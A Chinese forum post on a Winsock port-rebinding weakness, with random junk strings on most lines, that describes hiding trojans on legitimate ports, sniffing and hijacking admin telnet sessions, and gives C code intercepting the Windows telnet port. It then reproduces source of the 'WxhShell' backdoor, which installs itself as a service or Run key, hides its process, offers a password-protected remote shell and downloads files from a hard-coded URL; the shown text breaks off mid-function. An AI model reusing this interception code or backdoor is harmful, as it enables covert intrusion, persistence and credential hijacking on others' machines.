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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TF\C@4Z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U?Zq6_M&  
@Cyvf5|bL  
  saddr.sin_family = AF_INET; &U#|uc!+  
`*R:gE=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Wqw1J=]  
U%QI a TN*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T.BW H2gRP  
G9cUD[GB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6A-|[(NS  
F^;ez/Gl  
  这意味着什么?意味着可以进行如下的攻击: b]#AI qt  
\Gvm9M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FTUv IbT  
?+@?Up0wGO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {4Cmu;u  
qo bc<-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,#9PxwrO  
z Rr*7G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  VY4yS*y  
$<EM+oJ|ER  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3F2w-+L  
hRhe& ,v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bq*eH (qx  
5U$0F$BBp  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6LIJ Q  
;HO=  
  #include !Wnb|=j  
  #include Q p3_f8  
  #include )jP1or  
  #include    %>{0yEC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @:#eb1 <S  
  int main() lt8|9"9<  
  { *z8\Lnv~k  
  WORD wVersionRequested; 2P0*NQ   
  DWORD ret; EaN6^S=  
  WSADATA wsaData; %7+qnH*;r  
  BOOL val; u'BaKWPS  
  SOCKADDR_IN saddr; +23x ev  
  SOCKADDR_IN scaddr; !+v$)3u9  
  int err; T_4/C2  
  SOCKET s;  2JBR)P  
  SOCKET sc; 4^:=xL  
  int caddsize; ( a#BV}=  
  HANDLE mt; }BP;1y6-r  
  DWORD tid;   (9dl(QSd  
  wVersionRequested = MAKEWORD( 2, 2 ); Ysv" 6b}  
  err = WSAStartup( wVersionRequested, &wsaData ); i9x+A/ o[  
  if ( err != 0 ) { >z@0.pN]7  
  printf("error!WSAStartup failed!\n"); _oeS Uzq.  
  return -1; oOFVb5qoFU  
  } Cw&KVw*  
  saddr.sin_family = AF_INET; \'O"~W  
   nU7[c| =  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 + {'.7#  
oEpFuWp%A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); tKXIk9e  
  saddr.sin_port = htons(23); X"%gQ.1|{j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X^jfuA  
  { l.M0`Cn-%  
  printf("error!socket failed!\n"); qJ-/7-$ ^  
  return -1; N"ST@/j.A  
  } c7H^$_^=  
  val = TRUE; u=e{]Ax#}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KMax$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0w7DsPdS  
  { P]C<U aW'!  
  printf("error!setsockopt failed!\n"); d&>^&>?$zh  
  return -1; %8v\FS  
  } TWX.D`W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MF'JeM;H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C;yZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Tp2.VIoQ=  
#KvlYZ+1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) JW&gJASGC  
  { RxQ*  
  ret=GetLastError(); \Vk:93OH21  
  printf("error!bind failed!\n"); UPGtj"2v-  
  return -1; 'Pbr v  
  } #<xm.  
  listen(s,2); uQzXfOq  
  while(1) 19#\+LWA  
  { 7d\QB (~  
  caddsize = sizeof(scaddr); noj0F::m`j  
  //接受连接请求 dc'Y `e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k}rbim  
  if(sc!=INVALID_SOCKET) qe\5m.k  
  { n=q 76W\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !VzC&>'v^9  
  if(mt==NULL) _yT Ed"$  
  { Iga0 24KR  
  printf("Thread Creat Failed!\n"); Iu6   
  break; ?q [T  
  } Gq P5Kx+=  
  } \{D" !e  
  CloseHandle(mt); Zwx%7l;C  
  } 6S{l' !s'  
  closesocket(s); xyxy`qRA  
  WSACleanup(); M3au{6y  
  return 0; Pzem{y7Ir  
  }   u1.BN>G  
  DWORD WINAPI ClientThread(LPVOID lpParam) HbIF^LeY|R  
  { 3(UVg!t  
  SOCKET ss = (SOCKET)lpParam; jb)ZLA;L_c  
  SOCKET sc; !`r$"}g  
  unsigned char buf[4096]; v` r:=K  
  SOCKADDR_IN saddr; 47B&s   
  long num; 4&iCht =  
  DWORD val; }GIt!PG  
  DWORD ret; tl>7^hH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4Po_-4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   " Yy n/  
  saddr.sin_family = AF_INET; ,"ql5Q4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P'rb%W  
  saddr.sin_port = htons(23); :zR!/5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @o.I;}*N  
  { wKHBAW[i]  
  printf("error!socket failed!\n"); A%-6`>  
  return -1; ?@89lLD  
  } B7%U_F|m  
  val = 100; DV{=n C  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )`}:8y?  
  { ;wD)hNLAvR  
  ret = GetLastError(); !!y a  
  return -1; =\d?'dII:  
  } i mM_H;-X  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ']oQ]Yx0  
  { D`AsRd  
  ret = GetLastError(); QSj]ZA  
  return -1; . ]M"# \  
  } @ .KGfNu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A)KZa"EX  
  { A)~6Im  
  printf("error!socket connect failed!\n"); y> (w\K9W  
  closesocket(sc); i?;Kq~,  
  closesocket(ss); B?wq=DoG  
  return -1; /7LR;>Bj  
  } 'ig'cRD6N  
  while(1) |&jXp%4T  
  { 0(btA~'*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /L#?zSt  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F5#YOck&,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qY#6SO`_iy  
  num = recv(ss,buf,4096,0); k_R"CKd  
  if(num>0) J-4:H gx  
  send(sc,buf,num,0); {^\r`V p  
  else if(num==0) y3ikWnx  
  break; O1kl70,`R  
  num = recv(sc,buf,4096,0); !VK|u8i  
  if(num>0) c"xK`%e  
  send(ss,buf,num,0); |D.ND%K&  
  else if(num==0) u]gxFG "   
  break; p<;0g9,1  
  } fn!KQ`,#  
  closesocket(ss); -{+}@?  
  closesocket(sc); G#1GXFDO{  
  return 0 ; =rK+eG#,  
  } bu"!jHPB  
jA/w|\d!  
TOAAQ  
========================================================== -`t^7pr  
MJrR[h]  
下边附上一个代码,,WXhSHELL 3[f): u3"  
9)=ctoZ'  
========================================================== {}Za_(Y,]  
IqGdfL6[(  
#include "stdafx.h" 4'Zp-k?5`  
FsryEHz  
#include <stdio.h> 5PnDN\  
#include <string.h> YrKWA  
#include <windows.h> :a)u&g@G  
#include <winsock2.h> tRfo$4#NY  
#include <winsvc.h> k# rBB  
#include <urlmon.h> GM<-&s!Uj  
7\q~%lDE  
#pragma comment (lib, "Ws2_32.lib") NN`uI6=  
#pragma comment (lib, "urlmon.lib") K96<M);:g  
veh<R]U  
#define MAX_USER   100 // 最大客户端连接数 "w.3Q96r  
#define BUF_SOCK   200 // sock buffer bY0|N[ g  
#define KEY_BUFF   255 // 输入 buffer jalg5`PU0  
}Z,x~G  
#define REBOOT     0   // 重启 "FKOaQ%IH  
#define SHUTDOWN   1   // 关机 }AH] th  
K6)j0 ]K1  
#define DEF_PORT   5000 // 监听端口 0_t`%l=  
&pp|U}  
#define REG_LEN     16   // 注册表键长度 `^y7f  
#define SVC_LEN     80   // NT服务名长度 o.l- 7  
,WB{i^TD  
// 从dll定义API \} :PLCKT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d;}nh2*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tC9n k5~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); igR";OQk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3jC_AO%T  
Hg$lXtn]  
// wxhshell配置信息 eHDN\QA 2  
struct WSCFG { /d<P-!fK  
  int ws_port;         // 监听端口 s}% M4  
  char ws_passstr[REG_LEN]; // 口令 ]`+HO=0  
  int ws_autoins;       // 安装标记, 1=yes 0=no =>af@C.2  
  char ws_regname[REG_LEN]; // 注册表键名 OH(waKq2I  
  char ws_svcname[REG_LEN]; // 服务名 J6FV]Gpv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kq,ucU%>p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KNIn:K^/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uGEfIy 2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V /V9B2.$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7Da`   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r #cGop]  
8C9-_Ng`  
}; P! #[mio  
D\NKC@(M  
// default Wxhshell configuration o="M  
struct WSCFG wscfg={DEF_PORT, \Et3|Iv  
    "xuhuanlingzhe", dvJ M6W>^=  
    1, }oGA-Qc}B  
    "Wxhshell", aH/ k Ua  
    "Wxhshell", 'F0e(He@,  
            "WxhShell Service", 8i#2d1O  
    "Wrsky Windows CmdShell Service", O5nD+qTQ#  
    "Please Input Your Password: ", ]*[ 2$  
  1, ~;{; ,8!)  
  "http://www.wrsky.com/wxhshell.exe", D (?DW}Rqs  
  "Wxhshell.exe" 65$+{s  
    }; Lhb35;\  
DKJmTH]rUg  
// 消息定义模块 /zVOK4BqN+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0Y{yKL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9c,'k#k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dufu|BL|}  
char *msg_ws_ext="\n\rExit."; (b-MMr  
char *msg_ws_end="\n\rQuit."; Y;^l%ePuW  
char *msg_ws_boot="\n\rReboot..."; ?:I*8Fj  
char *msg_ws_poff="\n\rShutdown..."; ARwD~ Tr  
char *msg_ws_down="\n\rSave to "; "2$fi{9  
94.DHZqh  
char *msg_ws_err="\n\rErr!"; peuZ&yK+"  
char *msg_ws_ok="\n\rOK!"; nIy}#MUd|q  
'3D XPR^B6  
char ExeFile[MAX_PATH]; -23w2Qt  
int nUser = 0; jrr*!^4|  
HANDLE handles[MAX_USER]; /,&<6c-Q@W  
int OsIsNt; !_D0vI;  
gANuBWh8T  
SERVICE_STATUS       serviceStatus; {|_M # w~&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <?}-$  
j8{i#;s!"  
// 函数声明 aPfO$b:  
int Install(void); u^bidd6JRn  
int Uninstall(void); j2.|ln"!  
int DownloadFile(char *sURL, SOCKET wsh); ~{B7 k:  
int Boot(int flag); 6x[}g  
void HideProc(void); 9gEwh<  
int GetOsVer(void); l2rd9 -T  
int Wxhshell(SOCKET wsl); '(yAfL 9}  
void TalkWithClient(void *cs); }mq6]ZrK  
int CmdShell(SOCKET sock); `nv~NLkl  
int StartFromService(void); i8[t=6Rm@  
int StartWxhshell(LPSTR lpCmdLine); 5Y'qaIFR  
(%e .:W${  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D4-ifsP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E+R1 !.  
fg!__Rdi  
// 数据结构和表定义 YYl4"l  
SERVICE_TABLE_ENTRY DispatchTable[] = foF({4q7b^  
{ RJ ||}5  
{wscfg.ws_svcname, NTServiceMain}, )3Iz (Ql  
{NULL, NULL} wh\}d4gN  
}; gk[aM~p  
_A5e{Gb  
// 自我安装 EQyC1j  
int Install(void) { MSkHf=  
{ ;R5`"`  
  char svExeFile[MAX_PATH]; }=UHbU.n~!  
  HKEY key; fk[-mZ  
  strcpy(svExeFile,ExeFile); ogtEAv~e7N  
YEs&  
// 如果是win9x系统,修改注册表设为自启动 lL3kh J:%  
if(!OsIsNt) { *:YiimOY"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?'#` nx(!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oMD>Yw c-  
  RegCloseKey(key); $L>@Ed<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?(y*nD[a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HU }7zK2  
  RegCloseKey(key); 1N^[.=  
  return 0; -p&" y3<p  
    } .hP D$o  
  } .b&t ;4q  
} t#/YN.@r  
else { YTpSHpf@  
RtP2]O(F  
// 如果是NT以上系统,安装为系统服务 ;| 5F[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Un(aW=PQ0  
if (schSCManager!=0) WZejp}x  
{ mpEK (p  
  SC_HANDLE schService = CreateService .E1rqBG  
  ( E7 Ul;d  
  schSCManager, -M~:lK]n   
  wscfg.ws_svcname, %lx!. G  
  wscfg.ws_svcdisp, u+e{Mim  
  SERVICE_ALL_ACCESS, ua Gk6S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Mzw<{*:r  
  SERVICE_AUTO_START, C12Fl  
  SERVICE_ERROR_NORMAL, gA+qC7=p$  
  svExeFile, [nG<[<0G;  
  NULL, Nk 8B_{  
  NULL, qQ/^@3tXL  
  NULL, o>i4CCU+  
  NULL, :&rt)/I  
  NULL \fr~  
  ); m6K}|j  
  if (schService!=0) L>&t|T2  
  { @R"JW\bd  
  CloseServiceHandle(schService); VUGmi]qd  
  CloseServiceHandle(schSCManager); wY % }  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 82qoGSD.  
  strcat(svExeFile,wscfg.ws_svcname); x8\?}UnB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @#>rYAb8,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oUr66a/[U  
  RegCloseKey(key); v2\FA(BPn  
  return 0; J T7nG.9  
    } ")5":V~fN  
  } o5O#vW2Il&  
  CloseServiceHandle(schSCManager); !cLo> ,4  
} KVaiugQ   
} |?xN\O^#}  
oj<gD  
return 1; 1~`fVg  
} Rz/gtEP  
mzKiO_g}  
// 自我卸载 CL;}IBd a  
int Uninstall(void) B eo@K|3GN  
{ @4#c&h 3  
  HKEY key; A#<?4&  
IGQFtO/x  
if(!OsIsNt) { su( 1<S}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \fd v]f  
  RegDeleteValue(key,wscfg.ws_regname); SmH=e@y~Lx  
  RegCloseKey(key); o5GcpbZ3k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $G+@_'  
  RegDeleteValue(key,wscfg.ws_regname); GPudaF{  
  RegCloseKey(key); 5`  ~JPt  
  return 0; 'ya{9EdlT  
  } MUc$ j&  
} (OL4Ex']  
} Bahm]2  
else { Y('#jU  
hEH?[>9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5d^sA;c  
if (schSCManager!=0) ! E5HN :#  
{ }C?'BRX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i)#dWFDTv  
  if (schService!=0) 2- h{N  
  { _8J.fT$${  
  if(DeleteService(schService)!=0) { o[w:1q7  
  CloseServiceHandle(schService); P4'Q/Sj  
  CloseServiceHandle(schSCManager); p)-^;=<B3  
  return 0; #q$HQ&k  
  } rJ4S%6w  
  CloseServiceHandle(schService); +GN(Ug'R  
  } tSUEZ62EY  
  CloseServiceHandle(schSCManager); ;[YG@-"XZ  
} 3(N$nsi  
} Q"d^_z ]K  
;xj?z\=Pg  
return 1; JFmC\  
} '<)n8{3Q5w  
vn8aFA  
// 从指定url下载文件 8/#A!Ww]  
int DownloadFile(char *sURL, SOCKET wsh) 3;9^  
{ {dlXLx!B  
  HRESULT hr; K@]4g49A/j  
char seps[]= "/"; `/+>a8  
char *token; adcE'fA<_  
char *file; VCkq"f7c w  
char myURL[MAX_PATH]; Bk c4TO  
char myFILE[MAX_PATH];  8dA~\a  
;igIZ$&  
strcpy(myURL,sURL); O0v}43J [  
  token=strtok(myURL,seps); >]TWXmx/w  
  while(token!=NULL) :3Ox~o  
  { ? OM!+O  
    file=token; $h"\N$iSq  
  token=strtok(NULL,seps); H*R"ntI?w  
  } >+1duAC  
C}Cs8eUn  
GetCurrentDirectory(MAX_PATH,myFILE); Dz/ "M=  
strcat(myFILE, "\\"); UI0VtR]   
strcat(myFILE, file); 7JH6A'&  
  send(wsh,myFILE,strlen(myFILE),0); qEOhwrh  
send(wsh,"...",3,0); #c!lS<z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U8?mc  
  if(hr==S_OK) 1GcE) e!>  
return 0; W ac&b  
else C1)!f j=  
return 1; =; Ff4aF  
oG\Vxg*  
} P= NDS2  
d#FQc18v}k  
// 系统电源模块 Jnov<+  
int Boot(int flag) ,f>k%_U}  
{ _Fl9>C"u  
  HANDLE hToken; Svmy(w~m  
  TOKEN_PRIVILEGES tkp; >y 3=|  
~f98#43  
  if(OsIsNt) { g2_"zDiw2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :$c |  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y<Ot)fa$  
    tkp.PrivilegeCount = 1; m{HS0l'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4tBYR9|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I efn$  
if(flag==REBOOT) { {P_.~0pc*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 26h21Z16q  
  return 0; 4V`G,W4^J  
} rey!{3U  
else { xA*<0O\V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ' `Hr}  
  return 0; Dlvz )  
} f@!.mDm]  
  } :V||c5B+  
  else { wibNQ`4k  
if(flag==REBOOT) { M\BRcz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vFmZ<C' )  
  return 0; tCt#%7J;a  
} X &H"51  
else { ?:0Jav  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f!X[c?Xy"  
  return 0; |FRg\#kf%  
} 5b7RY V  
} C3g_! dUs  
[$UI8tV  
return 1; &rR2,3r=  
} A04U /;  
{' H(g[k  
// win9x进程隐藏模块 jL}v9$  
void HideProc(void) 8z\xrY  
{ )4;`^]F  
^-'fW7[m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dPRra{  
  if ( hKernel != NULL ) COlaD"Y  
  { 1o>xEWt:0K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `Pnoxm'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \~wMfP8  
    FreeLibrary(hKernel); zm;C\s rF  
  }  %;!.n{X  
_)-o1`*-  
return; ^LLzZnkcZ  
} xgtR6E^k  
% & bY]w  
// 获取操作系统版本  !}$$:  
int GetOsVer(void) L}NSR  
{ cB&:z)i4  
  OSVERSIONINFO winfo; #`s"WnP9'!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C7AUsYM  
  GetVersionEx(&winfo);  9gZ$   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _SkLYL!=9  
  return 1; +"VP-s0  
  else / XIhj  
  return 0; =vhm}  
} $ME)#(  
3;Fhg!Z O  
// 客户端句柄模块 9cm#56  
int Wxhshell(SOCKET wsl) T[j,UkgGo  
{ &+R?_Ooibk  
  SOCKET wsh; nQS|Lt_+  
  struct sockaddr_in client; {l >hMxij  
  DWORD myID; Xha..r  
I<tm"?q0  
  while(nUser<MAX_USER) @=kSo -SX  
{ <0?W{3NqI  
  int nSize=sizeof(client); EJ@ ~/)<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g=o4Q< #^y  
  if(wsh==INVALID_SOCKET) return 1; hR|MEn6KC  
4E?Oky#}-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @\I#^X5lv  
if(handles[nUser]==0) ~u+9J}  
  closesocket(wsh); */DO ex"y  
else #R RRu2  
  nUser++; WMg~Y"W  
  } ~F7gP{r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;jTN | i'  
8-6L|#J#  
  return 0; @xZR9Z8]L  
} ]M'=^32  
4ss4kp_>  
// 关闭 socket ;6hOx(>`=  
void CloseIt(SOCKET wsh) dAe')N:KPI  
{ n?K  
closesocket(wsh); da~],MN  
nUser--; 2VCI 1E  
ExitThread(0); W+1^4::+  
} R_xRp&5  
>i-"<&#jG  
// 客户端请求句柄 .XhrCi Z  
void TalkWithClient(void *cs) 0Fr?^3h  
{ K'I#W lg  
G<;*SYAb  
  SOCKET wsh=(SOCKET)cs; Nl(Foya%)  
  char pwd[SVC_LEN]; bK-N:8Z  
  char cmd[KEY_BUFF]; EDs\,f}  
char chr[1]; d8x;~RA  
int i,j; dcWD(-  
h3@v+Z<}  
  while (nUser < MAX_USER) { !FFU=f  
B^jc3 VsR  
if(wscfg.ws_passstr) { @gXx1hEg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XHGFf_kW_N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5.J.RE"M  
  //ZeroMemory(pwd,KEY_BUFF); MR.'t9m2L  
      i=0; _2 osV[e  
  while(i<SVC_LEN) { ges J/I  
dN[\xVcj  
  // 设置超时 Nu~lsWyRI5  
  fd_set FdRead; U\!X,a*ts{  
  struct timeval TimeOut; TrR8?-  
  FD_ZERO(&FdRead); n>U5R_T  
  FD_SET(wsh,&FdRead); 2gVm9gAHUd  
  TimeOut.tv_sec=8; yyy|Pw4:Z  
  TimeOut.tv_usec=0; )TM4R)r%)9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N_q|\S>t/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1D!<'`)AY  
Z>#i**  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }|5Pr(I  
  pwd=chr[0]; ?p8_AL'RS  
  if(chr[0]==0xd || chr[0]==0xa) { I4?5K@a  
  pwd=0; t}tEvh  
  break; Y% 5eZ=z  
  } mBON$sF|  
  i++; OprkR  
    } KL Xq\{X  
Uq`'}Vo  
  // 如果是非法用户,关闭 socket YLn?.sV{[0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Aj]V`B:65  
} Jo23P.#<  
<0q;NrvUb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W X6&oy>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o J;$sj  
L4y4RG/SJ:  
while(1) { TT3|/zwn  
n^6j9 FQ7  
  ZeroMemory(cmd,KEY_BUFF); y7Df_|Z  
aPbE;" f  
      // 自动支持客户端 telnet标准   @/-\k*T  
  j=0; &H:(z4/  
  while(j<KEY_BUFF) { [87,s.MK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jPW#(3hoE  
  cmd[j]=chr[0]; 8StgsM  
  if(chr[0]==0xa || chr[0]==0xd) { N7R!C)!IL  
  cmd[j]=0; pr UM-u8  
  break; I83<r9  
  } t" Z6[XG  
  j++; H\tUpan6fy  
    } D]Xsvv #  
t"/q]G5  
  // 下载文件 161xAig  
  if(strstr(cmd,"http://")) { *N'p~LJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); **gXvTqI  
  if(DownloadFile(cmd,wsh)) :@A9](gI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )iK6:s #  
  else 2u*KM`fa`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Ny"O.0h  
  } #d2.\X}A"3  
  else { ly3\e_z:G  
L"*/:$EJL.  
    switch(cmd[0]) { Jidwt$1l(  
  |T)6yDL  
  // 帮助 =k`Cr0aPF  
  case '?': { 7X'u6$i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yT9@!]^L  
    break; -"60d @.  
  } >{J(>B\  
  // 安装 6-B|Y3)B  
  case 'i': { $F+ LDs  
    if(Install()) j@uOOhy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uurh??R  
    else o@i#|kx,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =\:qo'l  
    break; r{I% \R!@  
    } 3r."j2$Hs0  
  // 卸载 .I0qGg  
  case 'r': { $#pP Z  
    if(Uninstall()) OL,TFLn4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ay w ;N  
    else WQL\y3f5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y U5(g^<  
    break; e-#BDN(O  
    } 9}F*P669f  
  // 显示 wxhshell 所在路径 (~wqa 3  
  case 'p': { P0j8- I  
    char svExeFile[MAX_PATH]; k=JrLfD4  
    strcpy(svExeFile,"\n\r"); "~7>\>UFh  
      strcat(svExeFile,ExeFile); yS(fILV  
        send(wsh,svExeFile,strlen(svExeFile),0); 8hJ%JEzga  
    break; MUREiL9L|  
    } oO|KEY(  
  // 重启 >A"v ed8  
  case 'b': { p=GBUII #  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,J^b0@S  
    if(Boot(REBOOT)) z(Pe,zES  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7gvnl~C(  
    else { >TnTnFWX  
    closesocket(wsh); a>]uU*Xm  
    ExitThread(0); 2Mvrey)  
    } 1o;J,dYu  
    break; !1DKLQ  
    } vV6I0  
  // 关机 I]<_rN8~o  
  case 'd': { QWSTR\!  
